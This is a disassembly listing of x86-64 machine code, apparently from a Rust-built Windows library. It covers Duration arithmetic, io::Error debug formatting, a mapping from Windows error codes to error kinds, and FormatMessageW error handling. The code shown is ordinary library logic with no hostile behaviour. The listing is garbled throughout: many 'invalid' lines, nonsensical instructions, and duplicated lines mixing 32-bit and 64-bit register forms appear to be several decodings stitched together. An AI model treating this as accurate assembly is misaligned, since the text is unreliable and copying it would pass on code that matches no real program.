mov r9, qword [rbp - 8]
mov ecx, dword [rbp - 8]
mov qword [0x18008b290], r9
mov dword [0x18008b290], ecx
push r15
add al, 0
test r9, r9
leave
mov rcx, rbx
je case.0x18003c6c9.220
add byte [rax], al
cmp r9, 0x3b9aca00
ja 0x180045b70
stc
add dl, cl
invalid
cmp esi, dword [rdi + 0xc]
mov eax, 0x3b9aca00
add dl, cl
invalid
xor edx, edx
div r9d
int1
int1
jmp 0x180045b72
xor eax, eax
ror byte [rbp + 0x65360090], 0xc4
lea edx, [rax - 0x3b9aca00]
invalid
xor r8d, r8d
xor eax, eax
cmp r9, 2
setb r8b
setb al
stc
add al, byte [rcx + 0xf]
invalid
setb al
xchg edx, eax
ror byte [rdi], 0x43
cmovae edx, eax
cmp edx, 0x3b9aca00
cli
add dl, cl
retf 0x3b9a
jb case.0x18002d987.300
invalid
rol byte [rcx - 0x6535ff06], 1
cmp esi, dword [rdx + 0x1b]
invalid
cli
add dl, cl
invalid
invalid
retf 0x3b9a
sbb ecx, dword [rcx + 0x9e8c1d0]
mov eax, edx
shr eax, 9
call 0x1406da39f
or dword [rbx + 4], 0
add al, 0
imul rax, rax, 0x44b83
rol byte [rbx + 0x4800044b], 0xc1
add al, 0
add byte [rax - 0x3f], cl
shr rax, 0x27
add r8, rax
add eax, eax
call 0x14005a4c8
invalid
add eax, eax
imul eax, eax, 0x3b9aca00
retf 0x3b9a
invalid
sub edx, eax
mov rax, qword [rcx]
mov ecx, dword [rcx + 8]
invalid
invalid
add dword [rbx + 0x39480849], ecx
or byte [r8 + 0x39], cl
cmp rax, rdi
clc
jne 0x180045bb6
cmp ecx, esi
int1
jae 0x180045c44
add byte [rax], al
add byte [rcx - 0x77], cl
mov ecx, edi
mov r9, rdi
mov ecx, edi
sub r9, rax
jb 0x180045ca6
add byte [rax], al
invalid
ror dword [rdi], 0x82
fiadd word [rax]
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx], bh
cmp ecx, esi
int1
jbe case.0x18002ef1c.417
test r9, r9
test ecx, ecx
je 0x180045ca6
rol dword [rax], 1
add byte [rax], al
dec r9
leave
lea r10d, [rsi + 0x3b9aca00]
lea edx, [rsi + 0x3b9aca00]
invalid
jmp 0x180045be4
mov r10d, esi
sub r10d, ecx
sub edx, ecx
cmp r10d, 0x3b9aca00
jb case.0x18003c064.258
invalid
cli
add dl, cl
invalid
cmp esi, dword [rdx + 0x25]
and eax, 0x41d38945
shr ebx, 9
jmp case.0x18003c6c9.192
mov r11d, r10d
mov ebx, edx
shr r11d, 9
jmp case.0x18003c6c9.192
imul r11, r11, 0x44b83
shr r11, 0x27
shr ebx, 0x27
fild dword [rbx + 0x4900044b]
add byte [rcx - 0x3f], cl
shr ebx, 0x27
jmp case.0x18002b605.502
invalid
add r9, r11
jb 0x180045cbe
mov bl, 0
add byte [rax], al
imul r11d, r11d, 0x3b9aca00
imul ebx, ebx, 0x3b9aca00
fild dword [rax]
retf 0x3b9a
invalid
cmp eax, dword [rbp + 0x29]
fiadd dword [rbp + 0x31]
invalid
invalid
sub r10d, r11d
sub edx, ebx
xor r11d, r11d
cmp r9, r8
cmp ecx, eax
fisttp dword [rbp + 0x39]
cmp ecx, eax
rol dword [rcx + 0xf], 0x95
setne r11b
setne bl
xchg ebp, eax
ret
mov r8d, 0xff
inc dword [rax]
add byte [rax], al
add byte [rbp + 0xf], al
cmovb r11d, r8d
fadd dword [rbp + 0x31]
fadd dword [rbp + 0x31]
xor r9d, r9d
xor ecx, ecx
leave
cmp r10d, edx
cmp edx, edx
setne r9b
cmovb r9d, r8d
cmovb ecx, eax
xchg ebp, eax
rol dword [rbp + 0xf], 0x42
invalid
invalid
cmovb ecx, eax
enter 0xffffffffffff8445, 0xffffffffffffffdb
enter 0xffffffffffff8445, 0xffffffffffffffdb
test r11b, r11b
test bl, bl
fild dword [rbp + 0xf]
retf
retf
cmovne r9d, r11d
cmp r9b, 1
cmp cl, 1
retf
cmp cl, 1
add dword [rbp + 0x49], esi
jne case.0x18003c064.226
mov edx, 0x3b9aca00
add dl, cl
retf 0x3b9a
invalid
sub rax, rdi
jae 0x180045c50
invalid
add ch, bl
cmp r9d, esi
int1
jmp case.0x18003c064.242
cmp ecx, esi
int1
jae 0x180045c62
test rax, rax
test eax, eax
je 0x180045c4e
dec rax
add ecx, 0x3b9aca00
rol dword [rax], 0xca
invalid
invalid
rol dword [rax], 0xca
invalid
cmp ecx, dword [rcx - 0x7e0dd636]
cli
add dl, cl
invalid
invalid
mov edx, ecx
sub edx, esi
cmp edx, 0x3b9aca00
retf 0xf229
cmp edx, 0x3b9aca00
retf 0x3b9a
jb case.0x18003c064.242
and ecx, dword [rcx + 0x9e9c1d1]
mov ecx, edx
shr ecx, 9
invalid
invalid
jmp 0x1496da47f
imul rcx, rcx, 0x44b83
leave
or dword [rbx + 4], 0
invalid
add byte [rax - 0x3f], cl
jmp 0x14805a4a8
invalid
add rax, rcx
shr rcx, 0x27
shr ecx, 0x27
invalid
add rax, rcx
jb 0x180045cbe
imul ecx, ecx, 0x3b9aca00
add dl, cl
invalid
sub edx, ecx
jmp case.0x18003c064.242
invalid
add al, 0x31
sal byte [rcx], 0xd2
xor eax, eax
xor edx, edx
add rsp, 0x68
invalid
pop rbx
pop rdi
pop rsi
pop rbp
ret
lea rcx, str.library_std_src_syspalwindows_time.rs
or eax, 0x38b77
ja case.0x18003c064.248
add eax, dword [rax]
call fcn.180069a10
cmp eax, 0x8d480002
add byte [rax - 0x73], cl
lea rcx, str.overflow_when_subtracting_durations
or eax, 0x38b04
add al, 0x8b
add eax, dword [rax]
mov eax, dword [rbx]
add byte [rbp + rcx*4 + 5], cl
lea r8, str._rustc_a07f3eb43acc5df851e15176c7081a900a30a4d7librarycore_src_time.rs
lea r8, str._rustc_a07f3eb43acc5df851e15176c7081a900a30a4d7librarycore_src_time.rs
add eax, 0x38b24
mov eax, dword [rbx]
add byte [rdx + 0x23], bh
and eax, dword [rax]
add byte [rax], al
invalid
mov edx, 0x23
and eax, dword [rax]
add byte [rax], al
invalid
add byte [rax], al
add al, ch
adc bh, byte [rdi]
add al, byte [rax]
invalid
call fcn.180069bd0
add byte [rax - 0x73], cl
add eax, 0x35ee3
jrcxz case.0x18003c6c9.215
add eax, dword [rax]
lea rax, str.overflow_in_Duration::new
lea eax, [0x18007bba8]
jrcxz case.0x18003c6c9.215
add eax, dword [rax]
mov qword [rbp - 0x38], rax
mov dword [rbp - 0x38], eax
mov qword [rbp - 0x30], 1
add dword [rax], eax
add byte [rax], al
lea rax, [0x180081690]
mov qword [rbp - 0x28], rax
mov dword [rbp - 0x28], eax
mov ecx, 0x89480003
add byte [rax - 0x77], cl
mov dword [rbp - 0x28], eax
fmul dword [r15]
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
loopne 0x180045d2c
lea edx, [0x18007bc00]
push rdi
ror byte [rdi], 0x11
loopne 0x180045d2c
lea edx, [0x18007bc00]
adc eax, 0x35f16
pop rdi
add eax, dword [rax]
invalid
add byte [rax - 0x73], cl
enter 0x5de8, 0x3a
enter 0x5de8, 0x3a
lea rcx, [rbp - 0x38]
call fcn.180069750
add al, byte [rax]
enter 0x5de8, 0x3a
add al, byte [rax]
call qword [sym.imp.KERNEL32.dll_GetLastError]
invalid
shl rax, 0x20
or rax, 2
enter 0x4802, 0xffffffffffffff89
enter 0xffffffffffff8d48, 5
lea rax, str.library_std_src_syspalwindows_time.rs
mov qword [rbp - 0x38], rax
lea rax, str.library_std_src_syspalwindows_time.rs
mov eax, dword [rbx]
add byte [rax - 0x77], cl
mov dword [rsp + 0x20], eax
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
lea rcx, [0x180081393]
or eax, 0x3b67b
mov dh, 3
add byte [rbp + rcx*4 + 0xd], cl
lea ecx, [0x18007bcc0]
lea r8, [rbp - 0x38]
invalid
sub eax, dword [rax]
invalid
lea r9, fcn.180043db0
lea ecx, [0x18007bcc0]
add eax, dword [rax]
lea r8, [rbp - 0x38]
enter 0x2bba, 0
mov edx, 0x2b
add byte [rax], al
add byte [rax], al
add al, ch
call fcn.180069b20
cmp eax, 0xb0f0002
add byte [rdi], cl
or edx, dword [rax + 0x24548948]
nop
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
push rbp
push rsi
ud2
nop
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
mov dword [rsp + 0x10], edx
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x60]
lea rcx, [rbp - 0x38]
call fcn.180043db0
nop
add rsp, 0x28
invalid
invalid
call qword [rax + 0x28c48348]
invalid
pop rbx
pop rdi
pop rsi
pop rbp
ret
int3
int3
int3
push rsi
push rdi
push rbx
sub rsp, 0x98
add byte [rax], al
add byte [rax], al
lea rbp, [rsp + 0x80]
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rax], al
invalid
invalid
add byte [rax], al
mov qword [rbp + 0x10], 0xfffffffffffffffe
mov rsi, rdx
invalid
mov rdi, qword [rcx]
adc r14b, r15b
invalid
invalid
invalid
mov eax, edi
and eax, 3
invalid
add ecx, dword [rax - 0x73]
or eax, 0x3ce37
invalid
invalid
add eax, dword [rax]
lea rcx, [0x180082bc4]
invalid
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
invalid
enter 0xffffffffffffe0ff, 0x48
loopne 0x180045ddf
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x73], r9b
sub byte [rax - 0x73], cl
mov rax, qword [rsi + 0x28]
lea rdx, str.Errorcode
add eax, dword [rax]
sub byte [rax - 0x73], cl
adc eax, 0x3b72c
add eax, dword [rax]
mov r8d, 5
call qword [rax + 0x18]
mov qword [rbp - 0x10], rsi
mov byte [rbp - 8], al
mov byte [rbp - 7], 0
lea r9, [rdi + 0x10]
lea rax, [0x18007ccd0]
add eax, 0x36f0c
mov qword [rsp + 0x20], rax
lea rdx, str.kind
adc eax, 0x36ef8
adc eax, 0x36ef8
lea rsi, [rbp - 0x10]
mov r8d, 4
mov rcx, rsi
mov ecx, esi
mov ecx, esi
call fcn.180025f90
lea rax, [0x18007cd18]
lea eax, [0x18007cd18]
add esi, edi
dec dword [rax - 0x73]
lea eax, [0x18007cd18]
lea eax, [0x18007cd18]
mov qword [rsp + 0x20], rax
lea rdx, str.message
add eax, dword [rax]
add eax, dword [rax]
mov r8d, 7
mov rcx, rsi
mov r9, rdi
call fcn.180025f90
add esi, edi
dec dword [rax - 0x77]
int1
call fcn.180027120
jmp 0x180046090
adc edi, esi
invalid
shr rdi, 0x20
mov dword [rbp + 8], edi
or byte [rax - 0x75], cl
invalid
invalid
and byte [rcx - 0x74b7f783], cl
or byte [rax - 0x75], cl
mov ecx, dword [rsi + 0x20]
and byte [rax - 0x75], r9b
sub byte [rax - 0x73], r9b
sub byte [rax - 0x73], cl
mov rax, qword [rsi + 0x28]
lea rdx, [0x18007cca5]
jl 0x180045e95
add eax, dword [rax]
sub byte [rax - 0x73], cl
adc eax, 0x36e7c
jl 0x180045e95
add eax, dword [rax]
mov r8d, 2
add byte [rax], al
call qword [rax + 0x18]
mov qword [rbp - 0x20], rsi
invalid
sbb byte [rax - 0x77], cl
jne 0x180045e16
invalid
loopne 0x180045dbf
mov byte [rbp - 0x18], al
call 0x180eda403
mov byte [rbp - 0x17], 0
lea rax, [0x18007cca8]
outsb dx, byte [rsi]
add eax, dword [rax]
mov qword [rsp + 0x20], rax
lea rdx, [0x1800814d6]
adc eax, 0x3b686
adc eax, 0x3b686
lea rsi, [rbp - 0x20]
lea r9, [rbp + 8]
lea ecx, [rbp + 8]
lea ecx, [rbp + 8]
mov r8d, 4
mov eax, 4
add byte [rax], al
add byte [rax - 0x77], cl
int1
mov rcx, rsi
call fcn.180025f90
mov ecx, dword [rbp + 8]
add esi, edi
dec dword [rbx + 0x72e8084d]
add al, byte [rax]
call fcn.1800460e0
mov byte [rbp + 0xf], al
add byte [rax - 0x72b7f0bb], cl
lea rax, [0x18007ccd0]
add eax, 0x36e58
outsb dx, byte [rsi]
add eax, dword [rax]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
lea rdx, str.kind
lea r9, [rbp + 0xf]
mov r8d, 4
mov eax, 4
mov eax, 4
add byte [rax], al
add byte [rax - 0x77], cl
int1
mov rcx, rsi
call fcn.180025f90
mov edx, dword [rbp + 8]
dec dword [rbx - 0x72b7f7ab]
lea rdi, [rbp - 0x10]
jge 0x180045e8d
mov rcx, rdi
call fcn.1800462b0
or eax, dword [rax + rax]
invalid
or eax, dword [rax + rax]
add byte [rax - 0x73], cl
lea rax, [0x18007ccf0]
lea rax, [0x18007ccf0]
outsb dx, byte [rsi]
add eax, dword [rax]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
lea rdx, str.message
mov r8d, 7
mov eax, 7
mov dh, 3
add byte [rcx - 0x48], al
invalid
invalid
mov eax, 7
add byte [rax - 0x77], cl
int1
mov rcx, rsi
mov r9, rdi
call fcn.180025f90
lea rcx, [rbp - 0x20]
call fcn.180027120
cmp qword [rbp - 0x10], 0
lock add byte [rdi], cl
invalid
mov bl, 1
add byte [rax], al
lock add byte [rdi], cl
test byte [rbx + 0x48000001], dh
mov bl, 1
add byte [rax], al
mov rcx, qword [rbp - 8]
mov bl, 1
add byte [rax], al
mov rcx, qword [rbp - 8]
mov edx, 1
add byte [rcx + 0x59f3e8c3], cl
mov ebx, eax
call fcn.18001b8e0
pop rcx
std
invalid
pop rcx
std
dec dword [rcx + 0x19ce9d8]
mov eax, ebx
jmp 0x180046090
add dword [rax], eax
invalid
mov eax, ebx
jmp 0x180046090
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x3f], cl
shr rdi, 0x20
cmp edi, 0x28
invalid
invalid
shr rdi, 0x20
shr edi, 0x20
cmp edi, 0x28
ja case.default.0x180045f0f
clc
add byte [rax], al
invalid
jmp [rax]
clc
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [0x180082bd4]
lea rax, [0x180082bd4]
movsxd rcx, dword [rax + rdi*4]
add rcx, rax
jmp rcx
lea rax, [rdi - 1]
add rdi, 0xf
mov qword [rbp - 0x10], rax
lea rax, [0x18007cd48]
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x48], rax
lea rax, [0x18007cd3e]
mov qword [rsp + 0x38], rax
lea rax, [0x18007ccd0]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x40], 5
mov qword [rsp + 0x20], 4
lea rdx, str.Customerror
lea edx, str.Customerror
lea r9, str.kind
mov r8d, 6
add byte [rax], al
add byte [rax - 0x77], cl
mov rcx, rsi
int1
call fcn.1800275a0
jmp 0x180046090
invalid
add dword [rax], eax
add byte [rax], al
sbb al, 0x16
invalid
add byte [rax], al
mov al, 0x25
jmp 0x180046043
mov bl, 0
add byte [rax], al
add byte [rax], al
mov al, 0x23
jmp 0x180046043
lodsb al, byte [rsi]
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov al, 0x24
jmp 0x180046043
movsd dword [rdi], dword [rsi]
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov al, 0x1b
jmp 0x180046043
sahf
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov al, 0x22
jmp 0x180046043
add byte [rax], al
invalid
add byte [rax], al
mov al, 0x10
adc cl, ch
nop
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov al, 0xe
jmp 0x180046043
add byte [rax + 0x82e921], dh
add byte [rax], al
invalid
mov al, 0xb
jmp 0x180046043
mov al, 4
jmp 0x180046043
mov al, 0x28
jmp 0x180046043
mov al, 0xc
jmp 0x180046043
mov al, 9
jmp 0x180046043
mov al, 0x19
jmp 0x180046043
mov al, 0x18
jmp 0x180046043
mov al, 2
jmp 0x180046043
mov al, 0xf
jmp 0x180046043
mov al, 3
jmp 0x180046043
mov al, 7
jmp 0x180046043
mov al, 1
jmp 0x180046043
mov al, 0x1f
jmp 0x180046043
mov al, 0x11
jmp 0x180046043
mov al, 0x29
jmp 0x180046043
mov al, 0x14
jmp 0x180046043
mov al, 5
jmp 0x180046043
mov al, 0x15
jmp 0x180046043
mov al, 0xd
jmp 0x180046043
mov al, 6
jmp 0x180046043
mov al, 0x12
jmp 0x180046043
mov al, 0xa
jmp 0x180046043
mov al, 8
jmp 0x180046043
mov al, 0x1e
jmp 0x180046043
mov al, 0x20
jmp 0x180046043
mov al, 0x16
jmp 0x180046043
mov al, 0x27
jmp 0x180046043
mov al, 0x13
jmp 0x180046043
mov al, 0x17
jmp 0x180046043
mov byte [rbp - 0x20], al
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str.Kind
mov r8d, 4
call qword [rax + 0x18]
mov qword [rbp - 8], rsi
jne 0x18004605a
add bh, bh
push rax
sbb byte [rax - 0x77], cl
jne 0x18004605a
mov byte [rbp], al
mov qword [rbp - 0x10], 0
mov dword [rbp - 0x10], 0
mov dword [rbp - 0x10], 0
add dh, al
add dword [r8], r8d
mov byte [rbp + 1], 0
lea r8, [0x18007ccd0]
lea rsi, [rbp - 0x10]
jne 0x18004606c
jne 0x18004606c
lea rdx, [rbp - 0x20]
mov rcx, rsi
mov ecx, esi
mov ecx, esi
call fcn.180027190
mov rcx, rsi
dec dword [rax - 0x77]
int1
call fcn.1800272e0
nop
add rsp, 0x98
add byte [rax], al
add byte [rbx + 0x5f], bl
add byte [rax], al
add byte [rbx + 0x5f], bl
pop rsi
pop rbp
ret
cmp qword [rbp - 0x10], 0
je 0x1800460c9
mov rcx, qword [rbp - 8]
mov edx, 1
call fcn.18001b8e0
nop
add rsp, 0x58
invalid
pop rax
pop rbx
pop rdi
pop rsi
pop rbp
invalid
ret
cmp ecx, 0x3e2
jle 0x18004611c
invalid
cmp ecx, 0x271c
cmp ecx, 0x271c
jle 0x180046142
lea edx, [rcx - 0x271d]
cmp edx, 0x34
ja case.default.0x180046113
invalid
add byte [rax], al
invalid
mov edi, 0x48000000
lea ecx, [0x1800830a0]
lea rcx, [0x1800830a0]
movsxd rdx, dword [rcx + rdx*4]
add rdx, rcx
retf 0xe2ff
retf 0xe2ff
mov al, 0xd
jmp case.0x180046113.10013
invalid
add dword [rax], eax
invalid
invalid
lea edx, [rcx - 2]
cmp edx, 0x109
cli
or dword [rcx], eax
add byte [rax], al
cli
or dword [rcx], eax
add byte [rax], al
ja case.default.0x180046139
lea rcx, [0x180082c78]
lea ecx, [0x180082c78]
movsxd rdx, dword [rcx + rdx*4]
add rdx, rcx
jmp rdx
invalid
xor eax, eax
jmp case.0x180046113.10013
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx + 0x50ef9], al
cmp ecx, 0x50e
jle 0x18004617b
add byte [rsi + 0x31], bh
cmp ecx, 0x1b7f
jg case.0x18001e906.835
cmp ecx, 0x1715
jg 0x18004620f
add byte [rdi], cl
invalid
cmp ecx, 0x50f
je 0x18004629d
cmp ecx, 0x5b4
je case.0x180046139.121
jmp case.0x180046139.33
cmp ecx, 0x46a
push 4
add al, 0
add byte [rsi + 0x56], bh
add byte [rax], al
jle case.0x180045d94.62
cmp ecx, 0x4ce
jg 0x180046235
stc
invalid
cmp ecx, 0x46b
stc
imul eax, dword [rax + rax], 0
je 0x1800462a1
test byte [rsi], al
add dword [rax], eax
add byte [rcx + 0x476f9], al
jbe 0x1800461a3
invalid
add byte [rax], al
cmp ecx, 0x476
jbe 0x1800461a3
add byte [rax], al
add byte [rbp + 0x68], dh
jne case.0x180046139.33
mov al, 0x20
jmp case.0x180046113.10013
mov dword [rax], eax
add byte [rax], al
cmp ecx, 0x2021
jg 0x180046221
outsd dx, dword [rsi]
outsd dx, dword [rsi]
cmp ecx, 0x1b80
je case.0x180046139.121
stc
sbb byte [rbx], 0
add byte [rdi + rsi*2 - 0x7f], dh
invalid
stc
invalid
cmp ecx, 0x1f4e
je case.0x180046139.121
outsd dx, dword [rsi]
outsd dx, dword [rsi]
jmp case.0x180046139.33
lea eax, [rcx - 0x3c2a]
adc esi, 0x83ffffc3
clc
add dh, byte [rdx + 0x62]
jb case.0x180046139.121
inc dword [rbx + 0x627202f8]
cmp eax, 2
jb case.0x180046139.121
cmp ecx, 0x35ed
in eax, dx
xor eax, 0x5a740000
je case.0x180046139.121
je case.0x180046139.121
jmp case.0x180046139.33
cmp ecx, 0x3e3
add byte [rax], al
je case.0x180046139.121
cmp ecx, 0x41d
add al, 0
add byte [rax + rcx*2 - 0x7f], dh
stc
invalid
add byte [rax], al
je case.0x180046139.121
cmp ecx, 0x461
je case.0x180046139.121
jmp case.0x180046139.33
mov al, 0x21
jmp case.0x180046113.10013
and ebx, ebp
cmp al, 0x81
cmp ecx, 0x150
je 0x1800462a5
cmp ecx, 0x252
je case.0x180046139.121
mov al, 0x28
jmp case.0x180046113.10013
invalid
stc
invalid
cmp ecx, 0x150
je 0x1800462a5
cmp ecx, 0x252
je case.0x180046139.121
mov al, 0x28
jmp case.0x180046113.10013
cmp ecx, 0x1716
je case.0x180046139.121
cmp ecx, 0x1b64
je case.0x180046139.121
jmp case.0x180046139.33
cmp ecx, 0x2022
je case.0x180046139.121
cmp ecx, 0x25e9
jne case.0x180046139.33
mov al, 0x16
pop rbp
ret
cmp ecx, 0x4cf
je case.0x180046113.10051
cmp ecx, 0x4d0
jne case.0x180046139.33
add byte [rbp - 0x3a], dh
mov al, 4
jmp case.0x180046113.10013
invalid
invalid
mov al, 0x14
jmp case.0x180046113.10013
mov al, 0x26
jmp case.0x180046113.10013
mov al, 0x18
jmp case.0x180046113.10013
sbb bl, ch
fidiv word [rax - 0x4f2514f5]
mov al, 0xb
jmp case.0x180046113.10013
invalid
mov al, 0xc
invalid
mov al, 0xb
jmp case.0x180046113.10013
invalid
fidiv dword [rax - 0x4f2914f4]
add eax, 0x2b0d2eb
mov al, 2
mov al, 0xc
jmp case.0x180046113.10013
invalid
invalid
mov al, 5
jmp case.0x180046113.10013
mov al, 2
jmp case.0x180046113.10013
mov al, 9
jmp case.0x180046113.10013
mov al, 8
jmp case.0x180046113.10013
invalid
invalid
mov al, 6
jmp case.0x180046113.10013
mov al, 0xa
jmp case.0x180046113.10013
mov al, 3
jmp case.0x180046113.10013
mov al, 7
jmp case.0x180046113.10013
mov al, 0x10
jmp case.0x180046113.10013
mov al, 0x19
jmp case.0x180046113.10013
mov al, 0x24
jmp case.0x180046113.10013
mov al, 0x1f
jmp case.0x180046113.10013
mov al, 0x11
jmp case.0x180046113.10013
adc ebx, ebp
movabs byte [0x9aeb1cb09eeb1bb0], al
mov al, 0x1b
jmp case.0x180046113.10013
mov al, 0x1c
jmp case.0x180046113.10013
mov al, 0x1b
jmp case.0x180046113.10013
mov al, 0x1c
jmp case.0x180046113.10013
mov al, 0xe
jmp case.0x180046113.10013
mov al, 0x1a
jmp case.0x180046113.10013
sbb ch, bl
xchg edx, eax
mov al, 0x1e
jmp case.0x180046113.10013
mov al, 0xf
jmp case.0x180046113.10013
test rax, rax
je 0x18004632d
mov r14, rax
and edi, 0xefffffff
mov dword [rbp + 0x1044], edi
mov ecx, 0x1a00
jmp 0x180046335
invalid
or byte [rbp + 0x31], al
idiv byte [rcx + 0x1200]
adc al, byte [rax]
invalid
xor r14d, r14d
mov ecx, 0x1200
adc al, byte [rax]
invalid
adc al, byte [rax]
add byte [rax - 0x77], cl
pop rsp
and al, 0x20
mov qword [rsp + 0x20], rbx
mov qword [rsp + 0x30], 0
and al, 0x30
add byte [rax], al
add byte [rax], al
invalid
add bh, al
and al, 0x28
sub byte [rax], al
or byte [rax], al
invalid
mov dword [rsp + 0x28], 0x800
sub byte [rax], al
or byte [rax], al
add byte [rcx + rcx*4 - 0xe], cl
mov edx, esi
mov rdx, r14
mov edx, esi
mov r8d, edi
mov r8d, edi
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FormatMessageW]
cmpsb byte [rsi], byte [rdi]
pop rbp
add al, byte [rax]
test eax, eax
je 0x18004641d
invalid
invalid
add byte [rax], al
invalid
test byte [rbx + 0x41000000], bh
mov eax, eax
add byte [rcx - 0x77], al
sar byte [0x180046b6c], 0xf
add dword [rax], ecx
add byte [rax], al
jae 0x180046669
mov r8d, eax
cmp eax, 0x801
add dword [rax], ecx
add byte [rax], al
jae 0x180046669
add al, byte [rax]
add byte [rax - 0x73], cl
lea ecx, [rbp + 0x1018]
lea rdx, [rbp - 0x48]
invalid
loopne 0x180046312
std
lea rcx, [rbp + 0x1018]
lea ecx, [rbp + 0x1018]
lea rdx, [rbp - 0x48]
call fcn.18001f860
loopne 0x180046312
std
invalid
loopne 0x180046312
std
dec dword [rbx + rcx*4 - 0x4b]
sbb byte [rax], dl
add byte [rax], al
mov r14, qword [rbp + 0x1018]
mov esi, dword [rbp + 0x1018]
mov ch, 0x18
adc byte [rax], al
add byte [rax - 0x48], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0xfc63949], al
or byte [rcx + 0x39], 0xc6
jne 0x1800464c4
invalid
invalid
test dword [rax + rdx], eax
adc byte [rax], r8b
movabs rax, 0x8000000000000000
cmp r14, rax
or byte [rcx + 0x39], 0xc6
jne 0x1800464c4
sub al, byte [rcx]
add byte [rax], al
lea rax, [rbp + 0x1044]
mov qword [rbp + 0x1030], rax
lea rax, [0x18002c540]
adc byte [rax], r8b
add byte [rax - 0x77], cl
test dword [rax], esi
adc byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xfffe6191
mov qword [rbp + 0x1038], rax
lea rax, str.OS_Error___FormatMessageW___returned_error
test dword [rax], edi
adc byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x37d0b
mov qword [rbp + 0xfb8], rax
mov qword [rbp + 0xfc0], 2
mov qword [rbp + 0xfd8], 0
mov dword [rbp + 0xfd8], 0
mov dword [rbp + 0xfd8], 0
lea rax, [rbp + 0x1030]
mov qword [rbp + 0xfc8], rax
enter 0xf, 0
adc byte [rax], al
add byte [rax - 0x77], cl
test eax, ecx
enter 0xf, 0
enter 0xf, 0
mov qword [rbp + 0xfd0], 1
lea rcx, [rbp + 0xfe8]
lea ecx, [rbp + 0xfe8]
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
invalid
invalid
lea ecx, [rbp + 0xfe8]
add byte [rax], al
lea rdx, [rbp + 0xfb8]
sldt word [rax]
add byte [rax], al
call 0x18001f4b0
mov rax, qword [rbp + 0xff8]
test eax, edi
sldt word [rax]
std
dec dword [rax - 0x75]
test eax, edi
sldt word [rax]
mov qword [rsi + 0x10], rax
movups xmm0, xmmword [rbp + 0xfe8]
test eax, ebp
sldt word [rax]
adc byte [rdi], r9b
adc byte [rbp + 0xfe8], al
test eax, ebp
sldt word [rax]
test eax, ebp
sldt word [rax]
jmp 0x1800464bc
call qword [sym.imp.KERNEL32.dll_GetLastError]
pop rsp
add al, byte [rax]
mov dword [rbp + 0x1030], eax
lea rax, [rbp + 0x1044]
lea eax, [rbp + 0x1044]
lea eax, [rbp + 0x1044]
add byte [rax], al
mov qword [rbp + 0xfe8], rax
call 0x1c8046447
lea eax, [0x18002c540]
add ah, byte [rcx - 2]
invalid
sldt word [rax]
lea rax, [0x18002c540]
add ah, byte [rcx - 2]
dec dword [rax - 0x77]
test eax, esi
sldt word [rax]
mov qword [rbp + 0xff0], rax
lea rcx, [rbp + 0x1030]
xor byte [rax], dl
add byte [rax], al
mov qword [rbp + 0xff8], rcx
clc
sldt word [rax]
mov qword [rbp + 0x1000], rax
lea rax, str.OS_Error___FormatMessageW___returned_error
mov qword [rbp + 0xfb8], rax
test dword [rax + 0x4800000f], edi
mov dword [rbp + 0xfc0], 3
test dword [rax + 0x4800000f], edi
mov dword [rbp + 0xfc0], 3
mov qword [rbp + 0xfd8], 0
add byte [rax], al
add byte [rax], al
lea rax, [rbp + 0xfe8]
mov qword [rbp + 0xfc8], rax
mov qword [rbp + 0xfd0], 2
lea rcx, [rbp + 0x1018]
lea rdx, [rbp + 0xfb8]
call 0x18001f4b0
mov rax, qword [rbp + 0x1028]
mov qword [rsi + 0x10], rax
movups xmm0, xmmword [rbp + 0x1018]
movups xmmword [rsi], xmm0
jmp 0x180046616
mov rbx, qword [rbp + 0x1020]
mov rcx, qword [rbp + 0x1028]
test rcx, rcx
je 0x180046609
lea r8, [rbx + rcx]
lea rdx, [0x18007bd40]
jmp 0x180046519
movzx r9d, r9b
movzx r9d, byte [r9 + rdx]
shr r9b, 1
and r9b, 1
test r9b, r9b
je 0x180046624
nop word cs:[rax + rax]
cmp r8, rbx
je 0x180046609
mov rax, r8
movzx r9d, byte [r8 - 1]
test r9b, r9b
js 0x180046530
lea r8, [rax - 1]
movzx r9d, r9b
jmp 0x180046592
movzx r10d, byte [rax - 2]
cmp r10b, 0xc0
jge 0x18004655d
movzx r11d, byte [rax - 3]
cmp r11b, 0xbf
jg 0x180046567
lea r8, [rax - 4]
movzx edi, byte [rax - 4]
and edi, 7
shl edi, 6
and r11d, 0x3f
or r11d, edi
jmp 0x18004656f
lea r8, [rax - 2]
and r10d, 0x1f
jmp 0x18004657a
lea r8, [rax - 3]
and r11d, 0xf
shl r11d, 6
and r10d, 0x3f
or r10d, r11d
shl r10d, 6
and r9b, 0x3f
movzx r9d, r9b
or r9d, r10d
cmp r9d, 0x110000
je 0x180046609
lea r10d, [r9 - 9]
cmp r10d, 5
jb 0x180046510
cmp r9d, 0x20
je 0x180046510
cmp r9d, 0x80
jb 0x180046624
mov r10d, r9d
shr r10d, 8
cmp r10d, 0x1f
jg 0x1800465db
test r10d, r10d
